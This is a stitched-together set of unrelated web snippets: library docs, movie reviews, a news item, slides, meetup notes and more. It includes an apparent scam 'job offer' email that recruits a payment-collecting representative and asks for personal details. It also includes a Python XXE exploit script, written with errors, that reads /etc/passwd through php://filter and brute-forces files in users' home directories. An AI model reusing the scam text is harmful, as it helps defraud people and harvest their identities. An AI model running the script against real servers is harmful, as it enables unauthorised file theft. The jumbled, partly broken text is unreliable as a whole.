Visualized business categories to gain an insignt of distribution and popularity. Established Search System to cross compare the features of multiple businesses.
What do you think of our project? What improvement could we make? Send us an email and we'd love to hear your feedback!


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About Datanium
Datanium - Version 0.1.427
A platform that helps you to find, present, share and play with data.


Simple Channel Example
Send a message with simple channel
Send
Input message to send. The message will be displayed in under area
Received message
There is no message


WALTERS COMPANY FROM THE OFFICE OF THE MANAGER, WALTERS GATE COMPANY, IMPORT AND EXPORT, WORLD TRADE CENTER, LONDON, ENGLAND. Dear Sir/Madam, JOB OFFER FOR A REPRESENTATIVE. I am Mr. Walter Gate managing Director Walters Gate company and I am an engineer by profession, and my company is based in Europe.My Company deals with import and export, construction and general servicing. We import construction materials like Drilling machine, underground pipes, and pumping machine for refineries and general maintenance of petroleum refineries. We also supply materials for Borehole construction into America and Canada.Our offices are mainly in Europe and Asia. We need a reliable and trustworthy representative that will monitor the affairs of our company in America and Canada, the representative will be incharge of all the companies affairs like monitoring of goods to their various owners, clear from sea-port and also collect payment from creditors.The company has agreed to let the representative have 10% of every payment collected as his/her commission. If you are interested please send me the following information: 1.Full Name. 2.Full Contact addresses. 3.Phone and Fax number. 4.Date of Birth. 5.Year of Working Experience. Get back to me with the information and your application will be processed and we will get back to you. For further information visit our:web-site www.walters-import-export.8m.com. Contact us at<EMAIL_ADDRESS>or<EMAIL_ADDRESS>Have a blessed day. Walter gate. ___________________________________________________________________________ Mail sent from WebMail service at Codyrock.Com - http://phpnuke.codyrock.com


AmqpDeliveryProcessor is an interface for handling consuming from a route. Implementors of this interface will be registered with a consumer.
type AmqpDeliveryProcessor interface { // ConsumeArgs returns the args that amqp.Channel.Consume should be called with. ConsumeArgs() *ConsumeArgs // SetupChannel is called before the consumer is created, and is designed to let // this handler declare any exchanges or queues necessary to handle deliveries. SetupChannel(ctx context.Context, amqpChannel AmqpRouteManager) error // HandleDelivery will be called once per delivery. Returning a non-nil err will // result in it being logged and the delivery being nacked. If requeue is true, the // nacked delivery will be requeued. If err is nil, requeue is ignored. HandleDelivery( ctx context.Context, delivery dataModels.Delivery, logger zerolog.Logger, ) (err error, requeue bool) // Cleanup is called at shutdown to allow the route handler to clean up any // necessary resources. Cleanup(amqpChannel AmqpRouteManager) error }
AmqpRouteManager is an interface that only exposes the Queue and exchange methods for a channel. These are the only methods we want SetupChannel to have access to.
type AmqpRouteManager interface { QueueDeclare( name string, durable bool, autoDelete bool, exclusive bool, noWait bool, args streadway.Table, ) (queue amqp.Queue, err error) QueueDeclarePassive( name string, durable, autoDelete, exclusive, noWait bool, args amqp.Table, ) (queue amqp.Queue, err error) QueueInspect(name string) (queue amqp.Queue, err error) QueueBind(name, key, exchange string, noWait bool, args amqp.Table) error QueueDelete(name string, ifUnused, ifEmpty, noWait bool) (count int, err error) ExchangeDeclare( name, kind string, durable, autoDelete, internal, noWait bool, args amqp.Table, ) (err error) ExchangeDeclarePassive( name, kind string, durable, autoDelete, internal, noWait bool, args amqp.Table, ) (err error) ExchangeBind( destination, key, source string, noWait bool, args amqp.Table, ) (err error) ExchangeDelete(name string, ifUnused, noWait bool) (err error) }
ConsumeArgs are the args the consumer will be created with.
type ConsumeArgs struct { // Queue is the name of the Queue to consume from Queue string // ConsumerName identifies this consumer with the broker. ConsumerName string // AutoAck is whether the broker should ack messages automatically as it sends them. // Otherwise the consumer will handle acking messages. AutoAck bool // Exclusive is whether this consumer should be the exclusive consumer for this // Queue. Exclusive bool // Args are additional args to pass to the amqp.Channel.Consume() method. Args amqp.Table }
Consumer is a service helper for consuming messages from one or more queues.
type Consumer struct {
// contains filtered or unexported fields
}
func NewConsumer( channel *amqp.Channel, opts *ConsumerOpts, ) *Consumer
NewConsumer returns a new consumer using the passed amqp.Channel.
func (consumer *Consumer) RegisterProcessor( processor AmqpDeliveryProcessor, )
RegisterProcessor registers a consumer handler. Will panic if called after consumer start.
func (consumer *Consumer) Run() error
Run the consumer. This method blocks until the consumer has completed shutdown.
func (consumer *Consumer) StartShutdown()
StartShutdown beings shutdown of the Consumer. This method will return immediately, it does not block until shutdown is complete.
ConsumerOpts holds options for running a consumer.
type ConsumerOpts struct {
// contains filtered or unexported fields
}
func NewConsumerOpts() *ConsumerOpts
NewConsumerOpts returns new ConsumerOpts object with default settings.
func (opts *ConsumerOpts) WithLogger(logger zerolog.Logger) *ConsumerOpts
WithLogger sets a zerolog.Logger to use for logging. Defaults to a fresh logger with the global settings applied.
func (opts *ConsumerOpts) WithMaxWorkers(max int) *ConsumerOpts
WithMaxWorkers sets the maximum number of workers that can be running at the same time. If 0 or less, no limit will be used. Default: 0.
ErrProducerNack is the error returned when trying to publish through the broker channel results in an error.
type ErrProducerNack struct { // Orphan is whether this nack was a result of being an orphaned message. Orphaned // messages MAY have been successfully published, but there is no way to know for // sure that the broker received it. Orphan bool }
func (err ErrProducerNack) Error() string
Error implements builtins.error.
ErrProducerPublish is the error returned when trying to publish through the broker channel results in an error.
type ErrProducerPublish struct { AmqpErr error }
func (err ErrProducerPublish) Error() string
Error implements builtins.error.
func (err ErrProducerPublish) Unwrap() error
Unwrap implements xerrors.Wrapper and returns the original Amqp error.
Producer is a wrapper for an amqp channel that handles the boilerplate of confirming publishings, retrying nacked messages, and other useful quality of life features.
type Producer struct {
// contains filtered or unexported fields
}
func NewProducer(amqpChannel *amqp.Channel, opts *ProducerOpts) *Producer
NewProducer creates a new producer using the given amqp.Channel and opts.
amqpChannel should be a fresh channel that has been configured with the correct queues for the producer. It should have no messages published through it before it is passed to this method.
Once the channel is passed to the producer, the producer should be considered to own it. No additional operations should be done through amqpChannel once it is passed to this method. The channel will be closed upon producer shutdown. A single channel should NOT be passed to multiple producers.
If opts.confirmPublish is set to true, the channel will be put into confirm mode by the producer. There is no need to do so before passing it to this method.
If opts is nil, default options will be used.
▹ Example
func (producer *Producer) Publish( ctx context.Context, exchange string, key string, mandatory bool, immediate bool, msg amqp.Publishing, ) (err error)
Publish a message. This method is goroutine safe, even when confirming publications with the broker. When confirming messages with a broker, this method will block until the broker confirms the message publication or ctx is cancelled.
Cancelling the context will cause this method to return, but have no other effect if the message has already been sent to thr broker and we are waiting for a response.
func (producer *Producer) Run() error
Run the producer, this method blocks until the producer has been shut down.
func (producer *Producer) StartShutdown()
StartShutdown begins the shutdown of the producer. This method may exit before remaining work is completed.
ProducerOpts holds options for Producer.
type ProducerOpts struct {
// contains filtered or unexported fields
}
func NewProducerOpts() *ProducerOpts
NewProducerOpts returns a new ProducerOpts with default options.
func (opts *ProducerOpts) WithConfirmPublish(confirm bool) *ProducerOpts
WithConfirmPublish sets whether to confirm publications with the broker before returning on a "Publish" call When true, all called to Producer.Publish() will block until a publish confirmation is received from the broker.
Default: true.
func (opts *ProducerOpts) WithInternalQueueCapacity(size int) *ProducerOpts
WithInternalQueueCapacity sets the internal queue size.
Internally, the producer stores incoming publication requests and published requests waiting for a broker acknowledgement in go channels. This options sets the size for those internal queues.
Default: 64


Primlong1615.github.io
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Experimental vs Nonexperimental Studies
In experiments, researchers give treatments and observe to see if they cause changes in behavior. A simple experiment is one in which we form two groups at random and give each group a different treatment. When the participants are divided at random, the experiment is called a true experiment. In non experimental studies, the researcher does not give treatments. An experiment in which treatments are given in order to observe their effects. However, sometimes it is impossible or impractical to conduct a true experiment. There are many examples of non-experimental studies.
- Causal-Comparative Study (ex-post facto study) - 1) We observe and describe some current condition and 2) we look to the past to try to identify the possible cause(s) of the condition.
- Survey - The purpose is to describe the attitudes, beliefs, and behavior of a population.
- Case Study - The emphasis is on obtaining thorough knowledge of an individual
- Field Research - A thorough study of a group of people.
- Longitudinal Research - Repeatedly measuring trait(s) of participants over a period of time in order to trace developmental trends.
- Correlational Research - When we are interested in the degree of relationship between two or more quantitative variables.
This shiny app allows you to conduct meta analysis as well as inter-rater reliability, publication bias and calculate effect sizes.
Free internet sources for data
Interpreting random effects in linear mixed-effect models
This blog helps explain a difficult statistical method.
Averages and Likert Scale Data
This book presents better ways to analyze Likert scale data than averages.
Frequnetism and Bayesianism: A practical Introduction
A 5 part series on two approaches to statistics.
MorePower 6.0 is a flexible freeware statistical calculator that computes sample size, effect size, and power statistics for factorial ANOVA designs.
Power ANalysis for GEneral Anova designs
A quick experiment displaying the impact of sample size on estimates we make from the data.
Test of Insufficient Variance - TIVA
A tool to detect questionable research practice
Interactive tools for meta-analysis, power analysis and experimental planning.
An interactive visualization for interpreting Cohen's d


PITCH UPLOAD APPLICATION
In life, you only have 60 seconds to impress someone. One minute can make or break you.
Welcome to Pitch Upload Application.
If you have an account, Log in but if you dont have one, please sign up.
Then, from your account now, you can get to create a new pitch.
But if also, you would love to view, you can click on all pitches to view other peoples pitches.
You can also, comment,upvote or downvote their pitches.


virus
`Prev `__
V
`Next `__
--------------
**virus**: n.
[from the obvious analogy with biological viruses, via SF] A cracker
program that searches out other programs and ‘infects’ them by embedding
a copy of itself in them, so that they become `*Trojan
horse* <../T/Trojan-horse.html>`__\ s. When these programs are executed,
the embedded virus is executed too, thus propagating the ‘infection’.
This normally happens invisibly to the user. Unlike a
`*worm* <../W/worm.html>`__, a virus cannot infect other computers
without assistance. It is propagated by vectors such as humans trading
programs with their friends (see `*SEX* <../S/SEX.html>`__). The virus
may do nothing but propagate itself and then allow the program to run
normally. Usually, however, after propagating silently for a while, it
starts doing things like writing cute messages on the terminal or
playing strange tricks with the display (some viruses include nice
`*display hack* <../D/display-hack.html>`__\ s). Many nasty viruses,
written by particularly perversely minded
`*cracker* <../C/cracker.html>`__\ s, do irreversible damage, like
nuking all the user's files.
In the 1990s, viruses became a serious problem, especially among Windows
users; the lack of security on these machines enables viruses to spread
easily, even infecting the operating system (Unix machines, by contrast,
are immune to such attacks). The production of special anti-virus
software has become an industry, and a number of exaggerated media
reports have caused outbreaks of near hysteria among users; many
`*luser* <../L/luser.html>`__\ s tend to blame *everything* that doesn't
work as they had expected on virus attacks. Accordingly, this sense of
virus has passed not only into techspeak but into also popular usage
(where it is often incorrectly used to denote a
`*worm* <../W/worm.html>`__ or even a `*Trojan
horse* <../T/Trojan-horse.html>`__). See `*phage* <../P/phage.html>`__;
compare `*back door* <../B/back-door.html>`__; see also `*Unix
conspiracy* <../U/Unix-conspiracy.html>`__.
--------------
+-------------------------------------+----------------------------+------------------------------+
| `Prev `__ | `Up <../V.html>`__ | `Next `__ |
+-------------------------------------+----------------------------+------------------------------+
| virtual shredder | `Home <../index.html>`__ | visionary |
+-------------------------------------+----------------------------+------------------------------+


My Dog Skip (2000) Frankie Muniz, Diane Lane, Luke Wilson, Kevin Bacon, Caitlin Wachs, Bradley Coryell, Daylan Honeycutt, Cody Linley and Harry Connick Jr. Written by Gail Gilchriest, based on the book by Willie Morris. Directed by Jay Russell. 95 minutes PG, 2.5 stars (out of five stars)
Review by Ed Johnson-Ott, NUVO Newsweekly www.nuvo.com Archive reviews at http://us.imdb.com/ReviewsBy?Edward+Johnson-Ott To receive reviews by e-mail at no charge, send subscription requests to<EMAIL_ADDRESS>or e-mail<EMAIL_ADDRESS>with the word "subscribe" in the subject line.
At one point in "My Dog Skip," the narrator states that his beloved pet appeared to be "possessed of a wisdom as old as time itself." A wisdom as old as time itself? Excuse me, but aren't we talking about an animal known for licking its balls (not that there's anything wrong with that) and eating poo?  The lack of opposable thumbs may have been a factor, but I suspect the main reason was because the pooch was busy learning to balance just right so that he could drink out of the toilet.
"My Dog Skip" is a classic example of Hollywood overkill. Based on Willie Morris' memoir of growing up in Yazoo City, Mississippi during World War II, the film takes a series of nostalgic vignettes and trusses them up in schmaltzy music and overwrought drama. As if that wasn't enough, we must suffer though a cheesy voice-over narrative that adds absolutely nothing to the production, although it does occasionally provide a few unintended laughs.
For example, as we watch the dog trotting through various neighborhoods in the segregated town, the narrator informs us that Skip was "colorblind" and above the overt racism of the era. Oh, give me a break. He was foraging for food, pure and simple.
 "Malcolm in the Middle" star Frankie Muniz plays Willie Morris and the young actor is as unaffected and genuine here as he is on TV. Moose, the terrier best known as Eddie on "Frasier," is one of several dogs portraying the adorable Skip. Together, they serve as a welcome antidote to the more turgid elements of the production.
What's odd and annoying about "My Dog Skip" is how the filmmakers take a can't-miss premise and gunk it up. As anyone who has ever seen "Frasier" will attest, Moose can do every trick in the book. That's all well and good, but the mixture of bittersweet realism and a dog who is more physically adroit than most of the cast members doesn't really gel. It's hard to focus on painful truths when poochie is leaping around like one of the Flying Wallendas.
Most of the pathos, incidentally, is not contained in Morris' book. A subplot about Willie's next door neighbor, Dink Jenkins (Luke Wilson), a popular jock disgraced during his military service, is made up, as is the business about Willie's father, Jack (Kevin Bacon), being embittered over losing a leg in the Spanish Civil War.
While the period details are dead on, attempts to make everything look like an animated Norman Rockwell painting get a bit strained, with most of the children resembling extras from an "Our Gang" comedy. Check out the smallest of the three neighborhood bullies in the film. The powers that be decided he would look cuter, or more authentic, or something, with dirt on his face, so the poor kid spends the entire movie with various smudges around his mouth, while his pals remain relatively clean. Weird. Very weird.
But the most maddening part of the film is unquestionably the narrative. In the weighty observations of the full-grown Willie (Harry Connick Jr.), everything is poignant and each incident marks another step in his ridiculously measured coming of age.  What?
Despite its many problems, I still enjoyed "My Dog Skip," thanks almost completely to the considerable charm of Frankie Muniz and the various canines playing Skip. But oh, how much better this film could have been if Gail Gilchriest, the writer who adapted Morris' memoir, had shown up for work and said, "Folks, I'm afraid we're going to have to stick to the book after all. Why? Well, because my dog ate the screenplay."
© 2000 Ed Johnson-Ott
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
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Related links: index of all rec.arts.movies.reviews reviews


My name is Bolo Michelin, and I'm a developer. If you want to, you can send me an email at hello at bolomichelin dot com.
I am owner at lobo.studio inc, a shop that makes great multi-platform experiences with ♥ in Montreal.
I used to work for weXpay as lead programmer for 3 years. We developed an online payment system that allow internet users to pay in cash online.
Before that, I worked for GoldenPot as a game programmer. I wrote games in actionscript.
I am member of "the office" at Girlz in the web, a network of professionals women.
 I'm a travel addict (my friends jokingly call me "the travel agent"). It's a true passion since my childhood. I already visited Spain, USA, Canada, Argentina, Germany, UK, Taiwan, Finnmark... (to be continued).


Kavanaugh accuser gets award from ACLU for speaking out
BEVERLY HILLS, Calif. (AP) - In a rare public appearance to pick up an award, the woman who accused U.S. Supreme Court Justice Brett Kavanaugh of sexual assault says she had a responsibility to come forward, NBC News reports.
Christine Blasey Ford, a psychology professor at Palo Alto University in California, spoke Sunday after she accepted the Rodger Baldwin Courage Award from the ACLU of Southern California in Beverly Hills.
She said: “When I came forward last September, I did not feel courageous. I was simply doing my duty as a citizen. I understood that not everyone would welcome my information, and I was prepared for a variety of outcomes, including being dismissed.”
Blasey Ford testified in September 2018 during Kavanaugh’s confirmation hearings that Kavanaugh assaulted her during a gathering of teenagers in suburban Maryland in 1982.
Kavanaugh has vehemently denied the allegation.
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Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


Quickly and conveniently create interactive
visualisations of spatial data with or without background maps.
Attributes of displayed features are fully queryable via pop-up
windows. Additional functionality includes methods to visualise true-
and false-color raster images, bounding boxes, small multiples and 3D
raster data cubes.
| Version: |
2.6.0 |
| Depends: |
methods, R (≥ 2.10) |
| Imports: |
base64enc, brew, htmltools, htmlwidgets, lattice, leaflet (≥
1.0.0), png, raster, Rcpp (≥ 0.11.3), satellite, scales (≥
0.2.5), sf, sp, stars, svglite, uuid, viridisLite, webshot |
| LinkingTo: |
Rcpp |
| Suggests: |
covr, dplyr, knitr, lwgeom, rmarkdown, testthat |
| Published: |
2018-09-16 |
| Author: |
Tim Appelhans [cre, aut],
Florian Detsch [aut],
Christoph Reudenbach [aut],
Stefan Woellauer [aut],
Spaska Forteva [ctb],
Thomas Nauss [ctb],
Edzer Pebesma [ctb],
Kenton Russell [ctb],
Michael Sumner [ctb],
Jochen Darley [ctb],
Pierre Roudier [ctb],
Patrick Schratz [ctb],
Environmental Informatics Marburg [ctb] |
| Maintainer: |
Tim Appelhans <tim.appelhans at gmail.com> |
| BugReports: |
https://github.com/r-spatial/mapview/issues |
| License: |
GPL (≥ 3) | file LICENSE |
| URL: |
https://github.com/r-spatial/mapview |
| NeedsCompilation: |
yes |
| SystemRequirements: |
GNU make |
| Materials: |
README NEWS |
| In views: |
Spatial |
| CRAN checks: |
mapview results |


This presentation was given at KVM Forum
Düsseldorf, Germany, October 14 - 16, 2014
Navigation
Alex Williamson /<EMAIL_ADDRESS>DRI wants to mmap VGA MMIO space
Possible options...
But what about compatibility?
“WE DO NOT BREAK USERSPACE!”-Linus Torvalds
Open Virtual Machine Firmware
An implementation of UEFI built on the EDK II code base
Replaces Seabios
via command line:
/usr/libexec/qemu-kvm ... \
-drive if=pflash,format=raw,readonly,file=/path/to/OVMF_CODE.fd \
-drive if=pflash,format=raw,file=/copy/of/OVMF_VARS.fd
via libvirt:
<domain type='kvm'>
...
<os>
<loader readonly='yes' type='pflash'>/usr/share/edk2.git/ovmf-x64/OVMF_CODE-pure-efi.fd</loader>
<nvram template='/usr/share/edk2.git/ovmf-x64/OVMF_VARS-pure-efi.fd'/>
...
</os>
</domain>
PCI ROMs can support multiple images
Most newer cards already support EFI
Newer versions of Linux
Windows 8, Server 2012
Q35 originally recommended for VFIO-VGA
Largely FUD
In reality
440FX is likely the easier path for Windows guests
Driver detects KVM hypervisor, fails to initialize*
Nvidia - "Accidental" breakage, won't fix, unsupported
We can't solve it, but we can work around it
Hide the hypervisor
via command line:
-cpu [type],kvm=off
via libvirt:
<domain type='kvm'>
...
<features>
<kvm>
<hidden state='on'/>
</kvm>
...
</features>
</domain>
*NVIDIA driver version 338.77+
Driver detects Hyper-V extensions, fails to initialize*
Workaround: Disable use of Hyper-V extensions
Performance hit for Windows VMs
Have we entered an arms race?
*NVIDIA driver version 344.11
| GeForce: | One still required* |
| Radeon: | Not needed! |
*QEMU now enables this independent of x-vga (2.2)
Alex Williamson / alex.williamson@redhat.com


import requests
from base64 import b64decode
def GetFile(fname):
payload = 'XXE with php://filter/convert.base64-encode/resource="
resp = requests.post('http://website/file.php', data=payload)
fcontent = (rest.text).split(" ")[6] #just grabbing the b64 data
fcontent = b64decode(fcontent)
return fcontent
def GetHomeDir():
homedir = []
passwd = GeFile("/etc/passwd")
lines = iter(passwd.splitlines())
for line in lines:
if line.endswith("sh")
line - line.split(":")[5] #get the lines that end with a login shell
homedir.append(line) #grab homedir information
return homedir
for user in GetHomeDir():
fh = open('filelist.txt') #list of potential file names
for line in fh:
PleaseSubscribe = GetFile(user + line.rstrip())
if PleaseSubscribe:
print user + line.rstrip()
print PleaseSubscribe


v0.2 [MOD-757] Constrain the arrow position to the bounds of the popover v0.1 Initial Release
v0.1 Initial Release


Ever wondered what name you can be given if you were born at a specific date?worry no more we got you covered.


sky-form
to the container.sky-well
to the sky-form
container.required
attribute to field and a required
class to the relevant label.pattern
for more detailed 'regex' validation.span class=feedback
. see the date examples.date-picker
' for the calendar to work. Optionally you can call $(selector).datePicker()
.


Our second meetup took place on Monday, March 20 at Info.nl. It was shortly after the Dutch national elections.
The agenda was as follows:
The group in attendance was a mix of people from agencies, higher education, NGOs, industry as well as some freelancers.
For some in attendance it was kind of scary to attend the first session. Because of uncertainty about what to expect or negative responses from friends and colleagues.
The diversity of viewpoints and backgrounds of the attendees was appreciated. The discussion was considered an open one. There was a shared sense of “let’s do something”.
A large part of the discussion was focused on understanding the causes of the current political climate, particularly the rise of populism. This was interesting and useful but did leave a lot of other subjects — except for a brief discussion of possible solutions — untouched.
Some people have been meeting up afterwards to follow up on ideas and things to do.
The shift to the right in terms of messaging appears to have benefited certain parties. Some of the big winners are also hostile to the rule of law. Luckily we have also seen good results for some progressive parties.
The high turnout is seen as a positive as well as the spread of votes across many parties. We have a pluralist and inclusive system.
Most parties seem to not have any new ideas for the future of our society. Many think in terms of old systems. Several participants are keen on ‘new’ approaches based on the commons, cooperatives, bottom-up, local civic participation.
Some of the major winners of the elections have argued things are fine and improving still, particularly economically. The group feels this might be true on average but it is pretty clear not everyone is sharing equally in these improved economic conditions. This undermines trust in the system.
Examples provided included the situation in the east of Groningen which suffers from economic malaise and population shrinkage, as well as the Overvecht neighbourhood in Utrecht which struggles with socio-economic problems and where Denk came in first and PVV third in the elections (in a city which otherwise favours progressive parties D66 and GL).
For this segment we decided to structure the discussion using Simon Sinek’s golden circle. Why / what / how?
To kick things off it is suggested we make the promotion of an open society our goal. Also equality, although people are considered equal by the law not everyone actually is.
Economic equality is increasing, more specifically income (and capital) inequality. People of low economic means cannot fully participate in public life. This hampers citizenship.
An open society means we welcome newcomers, we value liberty. The French liberty, equality and brotherhood did not include safety. Maybe we should adopt the Amsterdam coat of arms as our motto: determined, heroic, compassionate.
Solidarity means a relaxed attitude towards the other. It is at odds with the current trend of scapegoating. We should strive towards taking away reasons for people to fear the other.
Our analysis is that in the Dutch context xenophobia is fuelled by zero-sum thinking and loss aversion. It isn’t always the case that those sceptical of migrants are the ones at the bottom of the economy. It includes the middle classes who are uncertain about their prospects and those of their children. Austerity has produced the notion that one person’s gain will come at the cost of others. This trend should be reversed and it appears to start with combating the notion of curtailing government debt.
So we should strive to rebuild trust in society and in doing so increase a sense of solidarity. Making sure the Dutch dream is for everyone.
Taking a tech perspective, the question could be: how do we engineer infrastructure for solidarity. We should not shy away from a strategic perspective and do some big picture thinking at this early stage of our existence.
An example given is how in Denmark they are dealing with job insecurity and the rise of flex work and the gig economy by shifting from job security to income security as a concept.
There are plenty of good examples like this around the world and it would help to collect and share them so that we educate ourselves on the possibilities.
A strategy for building towards new systems is to first create a space of experimentation and only start formalising things once they have solidified. To start out by hacking, basically.
The discussion shifts towards what Tech Solidarity NL itself should be. The website now says “nascent organisation” which some people felt was a bit premature. Is “organisation” too formal, maybe? On the other hand it does show a level of commitment.
Practically speaking we are now a group of people who come together to organise, educate and agitate. We can be a place which matches supply and demand. We can be a platform for experiments. Whatever we decide to do the “why” we will settle on should ground everything we do.
We finish by agreeing to continue the development of the shared purpose during the next meeting.
Someone suggests maybe structuring subsequent get-togethers by dedicating the first part to thinking and the second part to doing something.
We could also explore tools and other things we could provide to tech workers who want to do the right thing.
Another idea that is still worth exploring further is to match up NGOs who are working towards an open society with tech workers willing to help them out.
The session ends with attendees leaving newly energised to fight the good fight.


Please note that profiles are essentially batch scripts—you are running a program that could do anything to your system when you load one. Only run profiles from sources you trust!
Stop requested! Currently in-progress items will finish but no more will be started.
Progress: %


Menu
Home
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Recipes
Store
Involvement
Events
Recipes
Breakfast
Lunch
Dinner
Sides
Dessert
Drinks


THE BEST MAN
Reviewed by Harvey Karten, Ph.D. October Films Director: Pupi Avati Writer: Pupi Avati Cast: Diego Abantantuono, Ines Sastre, Dario Cantarelli, Cinia Mascoli, Valeria D'Obici, Toni Santagata, Nini Salerno, Mario Erpichini, Ugo Conti
One of cinema's eminent romantic scenes occurs in Mike Nichols's 1967 film "The Graduate," when Dustin Hoffman snatches Katharine Ross from the chapel in which she is to be married to the wrong man. The French under Jean-Charles Tacchella aimed for something similar when two cousins, Marie-Christine Barrault and Victor Lanoux, already married to others, decide to go beyond the usual cousin-like kissing. Truffaut's "The Story of Adele H" posits a young woman obsessed with a soldier who does not return her love. When the man of her dreams marries someone other than she, the title character dons wedding attire and simulates a marriage ceremony with him. And now the Italians come into the game with "The Best Man," Pupi Avati's tender tale of a stranger who is called on to rescue a bride from marriage to the inappropriate male.
Directed by Avati with all the sumptuous splendor of a Merchant-Ivory production, "The Best Man" is an altogether satisfying tale about class and caste in Italy during the final days of the 19th century. More important, it flirts with the motif "Does love exist and, if so, is there such a thing as love at first sight?" The birth of the 20th century is a time in which people around the world wonder whether humankind will reach the moon and whether the century will study war no more. Pupi Avati, however, is more concerned with love which, he holds, actually received its birth as the year 1900 is ushered in.
What does Avati mean when he suggests that love was born only yesterday? Simply this: in Europe, the common belief--at least among those disappointed in marriage--was that love does no exist. The landed gentry continued to arrange their children's marriages, and nuptials were essentially business propositions, merging the assets of the families concerned. So when the final hour approaches for the marriage of the beautiful twenty-two year old Francesca Babini (Ines Sastre) with the bald, aquiline, and much older Edgardo Osti (Dario Cantarelli), she panicks like a character in Neil Simon's "Plaza Suite" and rushes from the altar at the very moment she is expected to say "I do." When a handsome and mysterious person who has been appointed best man, Angelo Beliossi (Diego Abantantuono), appears at the ceremony, Francesa takes one look and falls instantly in love, belying all the advice her mother had given her about the nonexistence of that pleasant ache. Pressured by her family to marry the rich Edgardo, yet prompted by her passion for Angelo, she takes her vows to Edgardo while looking at Angelo, thereby considering herself wedded to the best man.
This lush fin-de-siecle drama, a meditation on love which sets aside ample time for humor, highlights Francesa as the new, modern, 20th century woman. She has her own mind, believes in the most romantic notions of the storybooks, and is willing to risk her family's enmity and the ostracism of the community for self-fulfillment. Her family despite an outward display of wealth, are actually deeply in debt and dependent on Edgardo to bail them out. A refusal by Francesca to marry as father planned could drive him out of business and force her brother to lose his place at the university. Even her eccentric aunt, it is rumored, might hang herself if the marriage did not take place. It's no wonder that during the three-day ceremony gossip spread like a horde of hungry people around a table of antipasto that Francesca is unwilling to marry because a) she is not a virgin, b) she is pregnant, c) her new husband is "light in his loafers." For his part Angelo, despite his reputed millions, did not earn the money by his own hard work in America as the adoring guests believe but is actually an untalented person who inherited his affluence and, to top it off, has been too shy to make a dent on the women in his life. Writer-director Avati, then, plays with one of the most popular of all literary themes, the gap between illusion and truth.
But the movie is in no way mired in the literary. Photographer Pasquale Rachini hones in on the lavish gifts which have been proferred to the bride and groom, each present ostentatiously announced by its description and its donors. He evokes humor from his display of some of the cultural norms of the day, norms which appear quaint to us today just a century later. When the bed is to be prepared for the bride and groom to take their obligatory nap between the wedding and the lavish reception, it must be readied by virgins, and since few women could claim the status, the job would fall to the young man who is the brother of the bride.
Diego Cantarelli, in the role of a womanizer who is experienced in business and wishes his best man to invest in a land scheme, turns in a dramatic portrayal of a man who represents the old order; one which is soon to be toppled by a growing democratic and feminist movement. Francesca Babini, a Spanish actress whose beauty can be compared to that of Catherine Zeta-Jones ("The Mask of Zorro"), is believable as a representive of emerging feminism, while the melancholy and awkward title role is performed subtlety and discrimination by Diego Abantantuono.
"The Best Man," called in Italian, "Il Testimone Dello Sposo," was Italy's submission to the Academy for Oscar consideration and received a Golden Globe nomination as best picture. Almost profligate in its splendor, the picture serves as a deeply resonant analysis of class, love, and illusion in a world which was soon to be radically changed by its first Great War.
Not Rated. Running time: 100 minutes. (C) Harvey Karten 1998
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: post title: The Terrible Threat of Predictive Text date: 2003-12-29 00:00:00 category: mobile ---
We wandered up to Wokingham for a few hours this afternoon to pay a visit to my girlfriends mum, who's recently discovered SMS and rather likes it; much like my own mother, who's completely uninterested in going online but appreciates the directness of barking commands or spitting sarcasm in 160 characters.
In the course of the afternoon, a text message came in from another one of her daughters, and she started tapping out a response. Whilst in the process of doing this, she was quite open that she takes ages to write messages because she insists on using proper punctuation and grammar, which was rather quaint. But then she revealed that she refuses to use predictive text because "no-one but me knows what I'm going to write".
There was a sense of pride, and also a guardedness, in the way she said it: and it was a really neatly packaged reminder that there are people who are not only indifferent, but actively hostile towards developments which they perceive as taking control away from them - even if such developments come with the best of intentions.


A State Machine Datastore in the Wild
Richard Crowley
Betable operations
Richard Crowley
Betable operations
Gambling-as-a-Service
We do the math and the money
We’re licensed and regulated so game developers don’t have to be
Single-player
Single-event
Against the house
Easy to model as a REST API
Multi-player
Multi-event
Still against the house
Not RESTful
Most events are asynchronous from a player’s perspective
www.ietf.org/rfc/rfc6455.txt
Not completely busted anymore!
All Cassandra, all the time
N=3
R=2
W=2
(quorum reads and writes)
Naturally, we tried this first
Sell 1000 bingo cards “instantly”
Don’t sell more than 1000
Don’t sell more than 4 to any player
Don't sell two identical cards
Don’t sell any after the first ball is drawn
Doubly-linked list
Optimistic concurrency control
Two column families: items
and pointers
(with LongType
columns)
Death by roundtrip
Write new tail to items
and include the previous tail’s row key
Write to the previous tail’s row in pointers
with a timestamp and the new tail’s row key
Read the previous tail’s row in pointers
to see if our write won the append race
Consistent hashing of entities to processes
Locked read-modify-write over the network
Also death by roundtrip
At this point, why even use Cassandra?
Lacks expressiveness
(read: Turing-completeness)
SELECT FOR UPDATE
Also also death by roundtrip
Enforce complex constraints on data
Efficient in terms of network I/O
Scale horizontally
1000 bingo card strawman
Nothing more permanent
than a temporary solution
Small scale makes a custom
solution plausible
Arbitrary size and structure
Unit of atomicity
Unit of distribution
Examples: RouletteTable
, RouletteRound
, but not RouletteBet
type Table struct { ID string GameID string RoundID string Players []Player NextTransition time.Time // ... }
Mechanism of all reads and writes
Analogous to stored procedures
Apply to (at most) one entity
Examples: CreateRouletteTable
, CreateRouletteRound
, CreateRouletteBet
, and ResolveRouletteRound
type CreateTable struct { TableID string // ... } func (ct *CreateTable) Prepare(pc PrepareContext) error { return nil } func (ct *CreateTable) Apply(ac ApplyContext) (*Table, error) { t := &Table{ ID: ct.TableID, // ... } if err := ac.Store(t.ID, t); nil != err { return nil, err } return t, nil }
Dispatch other transitions
Generate data
Mutate the transition
PrepareContext
has Dispatch
, Load
, and more but not Store
, LoadExcl
,
or StoreExcl
